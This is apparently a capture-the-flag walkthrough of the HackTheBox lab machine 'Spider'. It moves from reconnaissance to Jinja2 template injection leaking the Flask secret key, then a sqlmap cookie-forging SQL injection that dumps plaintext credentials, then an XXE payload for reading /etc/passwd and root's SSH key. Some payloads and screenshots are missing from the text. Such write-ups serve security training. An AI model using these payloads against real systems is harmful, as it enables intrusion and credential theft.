$ nmap -sV -sC -p- -oA spider_nmap 10.10.10.243
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-21 11:44 CEST
Nmap scan report for 10.10.10.243
Host is up (0.044s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 28:f1:61:28:01:63:29:6d:c5:03:6d:a9:f0:b0:66:61 (RSA)
| 256 3a:15:8c:cc:66:f4:9d:cb:ed:8a:1f:f9:d7:ab:d1:cc (ECDSA)
|_ 256 a6:d4:0c:8e:5b:aa:3f:93:74:d6:a8:08:c9:52:39:09 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://spider.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Repeated the scan for commonly used UDP ports, but found none.
The web server on port 80 appears to be for an online furniture store:
There is a registration form for creating a user account. Registering an account generates a UUID that is used instead of the provided username when logging in:
Note
It appears that the Admin and Login links on the page menu both lead to the same Admin login form. In fact the Admin menu item (http://spider.htb/main) is redirected to the Login endpoint (http://spider.htb/login).
Logged in users can navigate to the User Information page to view their username and UUID:
Foothold
A good way to test for easily exploitable vulnerabilities in the application is to inject common payloads for vulnerabilities such as SQLi, LFI and SSTI. In this case, the most likely place to find a vulnerability is in the registration form, as it permits more or less arbitrary user input and doesn't do any input validation or sanitization except for limiting usernames to no more than 10 characters.
Attempting to register with the SSTI payload {{7 * 7}} as username is allowed. Once logged in, the User Information page shows the username as 49, confirming SSTI:
Repeating the process with {{7*'7'}} as the payload results in the username 7777777, which, according to Payload All The Things confirms that the templating in use is Jinja2. Knowing this, the application configuration can be leaked using the payload {{config}}:
Finding Jinja2 is a strong indication that the application runs on Flask. Looking through the configuration dumped in the step above, there are a number of parameters specific to Flask:
The configuration above includes the application secret key (Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942). As Flask only signs, but doesn't encrypt its cookies, having the secret key makes forging cookies fairly straight forward. A tool specifically designed for this is flask-unsign.
The application uses cookies to store a user's cart contents and their UUID:
Having access to the UUID means it can be manipulated to impersonate another user if their UUID is known. It's also a piece of data that gets stored in a backend database, which means the value can be a an injection point for an SQL injection.
The easiest way to test for SQLi through the cookie is to use SQLmap on it. There a specific example for using SQLmap for crafting cookies here.
Adapted the example above to the current application and used it to dump the database:
$ sqlmap http://spider.htb/ --eval "from flask_unsign import session as s; session = s.sign({'cart_items': [], 'uuid': session}, secret='Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942')" --cookie="session=*" --dump
...
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[15:57:10] [INFO] target URL content is stable
[15:57:10] [INFO] testing if (custom) HEADER parameter 'Cookie #1*' is dynamic
do you want to URL encode cookie values (implementation specific)? [Y/n]
[15:57:12] [WARNING] (custom) HEADER parameter 'Cookie #1*' does not appear to be dynamic
[15:57:12] [WARNING] heuristic (basic) test shows that (custom) HEADER parameter 'Cookie #1*' might not be injectable
[15:57:12] [INFO] testing for SQL injection on (custom) HEADER parameter 'Cookie #1*'
[15:57:12] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:57:13] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[15:57:13] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[15:57:14] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:57:14] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[15:57:15] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[15:57:16] [INFO] testing 'Generic inline queries'
[15:57:16] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[15:57:16] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[15:57:17] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[15:57:18] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[15:57:28] [INFO] (custom) HEADER parameter 'Cookie #1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
[15:57:49] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[15:57:49] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[15:57:51] [INFO] target URL appears to be UNION injectable with 1 columns
[15:57:51] [INFO] (custom) HEADER parameter 'Cookie #1*' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
(custom) HEADER parameter 'Cookie #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 74 HTTP(s) requests:
---
Parameter: Cookie #1* ((custom) HEADER)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: session=' AND (SELECT 7801 FROM (SELECT(SLEEP(5)))lSMT) AND 'fXbH'='fXbH
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: session=' UNION ALL SELECT CONCAT(0x7171626271,0x704e6d6a42484d776269547a7668797772716d736b707167796171456177654649704d496374756d,0x716a787071)-- -
---
[15:57:54] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.14.0
back-end DBMS: MySQL >= 5.0.12
[15:57:55] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[15:57:55] [INFO] fetching current database
[15:57:55] [INFO] fetching tables for database: 'shop'
[15:57:55] [INFO] fetching columns for table 'support' in database 'shop'
[15:57:55] [INFO] fetching entries for table 'support' in database 'shop'
[15:57:55] [INFO] fetching number of entries for table 'support' in database 'shop'
[15:57:55] [INFO] retrieved:
[15:57:55] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
0
[15:58:15] [WARNING] table 'support' in database 'shop' appears to be empty
Database: shop
Table: support
[0 entries]
+------------+---------+---------+-------------+
| support_id | contact | message | timestamp |
+------------+---------+---------+-------------+
+------------+---------+---------+-------------+
[15:58:15] [INFO] table 'shop.support' dumped to CSV file '/home/admin/.local/share/sqlmap/output/spider.htb/dump/shop/support.csv'
[15:58:15] [INFO] fetching columns for table 'messages' in database 'shop'
[15:58:15] [INFO] fetching entries for table 'messages' in database 'shop'
Database: shop
Table: messages
[1 entry]
+---------+---------+-----------------------------------------------------------------------------------+---------------------+
| post_id | creator | message | timestamp |
+---------+---------+-----------------------------------------------------------------------------------+---------------------+
| 1 | 1 | Fix the <b>/a1836bb97e5f4ce6b3e8f25693c1a16c.unfinished.supportportal</b> portal! | 2020-04-24 15:02:41 |
+---------+---------+-----------------------------------------------------------------------------------+---------------------+
[15:58:15] [INFO] table 'shop.messages' dumped to CSV file '/home/admin/.local/share/sqlmap/output/spider.htb/dump/shop/messages.csv'
[15:58:15] [INFO] fetching columns for table 'items' in database 'shop'
[15:58:15] [INFO] fetching entries for table 'items' in database 'shop'
Database: shop
Table: items
[6 entries]
+----+-------+-------------+---------------------------------------------------+-------------------------------------------------------------------------+
| id | price | name | image_path | description |
+----+-------+-------------+---------------------------------------------------+-------------------------------------------------------------------------+
| 1 | 1337 | Chair | stefan-chair-brown-black__0727320_PE735593_S5.JPG | This is a beautiful chair, finest quality, previously owned by Mitnick. |
| 2 | 1337 | Black Chair | martin-chair-black-black__0729761_PE737128_S5.JPG | This is the same as the other one but in black. |
| 3 | 1337 | Chair | stefan-chair-brown-black__0727320_PE735593_S5.JPG | This is a beautiful chair, finest quality, previously owned by Mitnick. |
| 4 | 1337 | Black Chair | martin-chair-black-black__0729761_PE737128_S5.JPG | This is the same as the other one but in black. |
| 5 | 1337 | Chair | stefan-chair-brown-black__0727320_PE735593_S5.JPG | This is a beautiful chair, finest quality, previously owned by Mitnick. |
| 6 | 1337 | Black Chair | martin-chair-black-black__0729761_PE737128_S5.JPG | This is the same as the other one but in black. |
+----+-------+-------------+---------------------------------------------------+-------------------------------------------------------------------------+
[15:58:15] [INFO] table 'shop.items' dumped to CSV file '/home/admin/.local/share/sqlmap/output/spider.htb/dump/shop/items.csv'
[15:58:15] [INFO] fetching columns for table 'users' in database 'shop'
[15:58:15] [INFO] fetching entries for table 'users' in database 'shop'
Database: shop
Table: users
[6 entries]
+----+--------------------------------------+------------+-----------------+
| id | uuid | name | password |
+----+--------------------------------------+------------+-----------------+
| 1 | 129f60ea-30cf-4065-afb9-6be45ad38b73 | chiv | ch1VW4sHERE7331 |
| 2 | 9c1957f6-cd9a-46d5-a3a1-8077f9d49954 | {{config}} | a |
| 3 | 2a9bdd2b-e596-4ce2-9eff-e241f54192d9 | test | test |
| 4 | 1273e7aa-f4b3-4fab-be9a-61627c6f83a3 | {{ 7*7 }} | 123 |
| 5 | 2680616c-a9fb-431a-99bf-90f5a4019db1 | {{7*7}} | 123 |
| 6 | 834f3c55-26f1-4a95-8af9-75a94c48433b | {{7*'7'}} | 123 |
+----+--------------------------------------+------------+-----------------+
Got credentials for user chiv: 129f60ea-30cf-4065-afb9-6be45ad38b73:ch1VW4sHERE7331. Logged in as chiv and found the application admin panel:
Exploitation
There is one message under messages, which also in the database dump above:
Fix the /a1836bb97e5f4ce6b3e8f25693c1a16c.unfinished.supportportal portal!
Found the support portal at http://spider.htb/a1836bb97e5f4ce6b3e8f25693c1a16c.unfinished.supportportal:
Messages posted to the support portal are found in the support section in the admin panel.
Tested SSTI payloads against the messaging and support services:
The messages service permits SSTI payloads, but isn't vulnerable to them. The application simply strips the {{ and }} from payloads like {{ 7 * 7 }}.
The support portal has a WAF in place that filters out {{, }}, most common special characters and keywords like if from the Contact field. When testing with a payload like {%, the application responds with a HTTP 500 error.
SSTI against the Contact field can be achived using the method is demonstrated in this blog post. The idea is to avoid the use of special characters that may trigger the WAF.
Combining the examples gives the following payload for a WAF that filters ., {{, }} and _:
In order to trigger the reverse shell, the target needs to connect to the attack host, retrieve the payload and pipe it to bash to execute it. This is a three step process:
Stood up a Netcat listener and a Python HTTP server and to serve the reverse shell payload
Used the following payload to get the target to download the payload and execute it:
Navigated to http://127.0.0.1:8000/ on the attack host and got the following login page:
The Forgot your password link doesn't do anything, but the page accepts any input as a valid username. Once logged in, the side appears to be a new online store:
Like the main store at http://spider.htb, the new version also appears to be Flask-based as it places the same type of cookie, though with different contents, in the user's browser:
<!-- API Version 1.0.0 --><root><data><username>test</username><is_admin>0</is_admin></data></root>
Without access to this application's secret key, manipulating the cookie and the is_admin setting isn't possible. The files for the application appear to be located in /var/www/game, but are unreadable by user chiv:
The version parameter is passed to the cookie and stored in the lxml field. Testing with an arbitrary value for version, produces a cookie with the following lxml field:
<!-- API Version something --><root><data><username>test</username><is_admin>0</is_admin></data></root>
Allowing the user to control both the username and version fields makes this scheme vulnerable to XML External Entity (XXE) injection. Exploiting the vulnerability in this case requires a payload that is placed in place of the something in the example above. This means the payload has to close the comment on the API Version string early, then end with a starting comment (<!--) in order to close the exisiting closing comment (-->) tag:
--><!DOCTYPE username [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><!--
When logging in with &xxe; as the username, intercepting the request and replacing the version parameter with the above payload returns the contents of /etc/passwd on the website:
As the application apparently runs as root, root's private SSH key can be retrieved by pointing the path in the XML entity above to /root/.ssh/id_rsa.